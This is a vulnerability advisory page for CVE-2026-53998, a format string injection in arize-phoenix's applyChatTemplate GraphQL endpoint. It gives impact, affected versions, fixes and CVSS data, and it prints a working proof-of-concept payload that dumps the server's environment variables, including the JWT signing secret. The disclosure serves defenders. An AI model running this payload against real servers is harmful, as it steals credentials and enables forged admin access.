Advisory Database
  • Advisories
  • Dependency Scanning
  1. pypi
  2. ›
  3. arize-phoenix
  4. ›
  5. CVE-2026-53998

CVE-2026-53998: Phoenix: Format String Injection in applyChatTemplate

November 17, 2026

  • Summary

A format string injection vulnerability in the applyChatTemplate GraphQL endpoint allows an attacker to read server-side environment variables, cryptographic secrets, and internal module attributes directly from the API response. On default Phoenix installations where authentication is disabled the endpoint is reachable with no credentials. On auth-enabled deployments, any account regardless of privilege level is sufficient to exploit it.

  • Impact Server filesystem paths, loaded Python module names, and internal configuration constants are fully disclosed, an attacker with network access can read the full server os.environ including the admin credentials hardcoded in phoenix.auth.

Successful exploitation allows an attacker to extract PHOENIX_SECRET, the master key used to sign all JWTs and derive the Fernet encryption key protecting stored credentials (LLM API keys, OAuth tokens). With this key, an attacker can forge admin-level session tokens and decrypt all secrets stored in the database.

  • Affected Versions

First vulnerable release: arize-phoenix-v13.0.0 (2026-02-13) Latest confirmed vulnerable release: arize-phoenix-v14.8.0 (2026-04-17)

  • Affected Component applyChatTemplate GraphQL query endpoint (src/phoenix/server/api/queries.py:1638) FStringTemplateFormatter._format() template rendering function (src/phoenix/utilities/template_formatters.py:272) DotDict.__getattr__() ineffective attribute access control (src/phoenix/utilities/template_formatters.py:90)

  • Proof of Concept payload as txt with an image performing the exploit below.

  • Payload:

{
"query": "query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }",
"variables": {
"t": { "messages": [{ "role": "USER", "content": [{ "text": { "text": "{u.__class__.__bases__[0].__init__.__globals__[_os].environ}" } }] }] },
"o": { "format": "F_STRING", "variables": { "u": { "x": 1 } } }
}
}
  • Suggested Fix

Three mitigations are recommended in combination: restrict attribute traversal at the Formatter.get_field() level (not the wrapper class), add IsAuthenticated permission to the applyChatTemplate resolver, and limit F_STRING format to trusted system-defined templates only.

Best Regards, Omar

References

  • github.com/Arize-ai/phoenix/commit/e7224a685589f2ffae1fefcc68ff210bd6ad28b8
  • github.com/Arize-ai/phoenix/pull/13197
  • github.com/Arize-ai/phoenix/releases/tag/arize-phoenix-v15.7.0
  • github.com/Arize-ai/phoenix/security/advisories/GHSA-gfv3-m769-5xm3
  • github.com/advisories/GHSA-gfv3-m769-5xm3
  • nvd.nist.gov/vuln/detail/CVE-2026-53998

Code Behaviors & Features

Detect and mitigate CVE-2026-53998 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →

Affected versions

All versions starting from 13.0.0 before 15.7.0

Fixed versions

  • 15.7.0

Solution

Upgrade to version 15.7.0 or above.

Impact 10 CRITICAL

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L

Learn more about CVSS

Weakness

  • CWE-134: Use of Externally-Controlled Format String
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Source file

pypi/arize-phoenix/CVE-2026-53998.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 18 Nov 2026 12:15:52 +0000.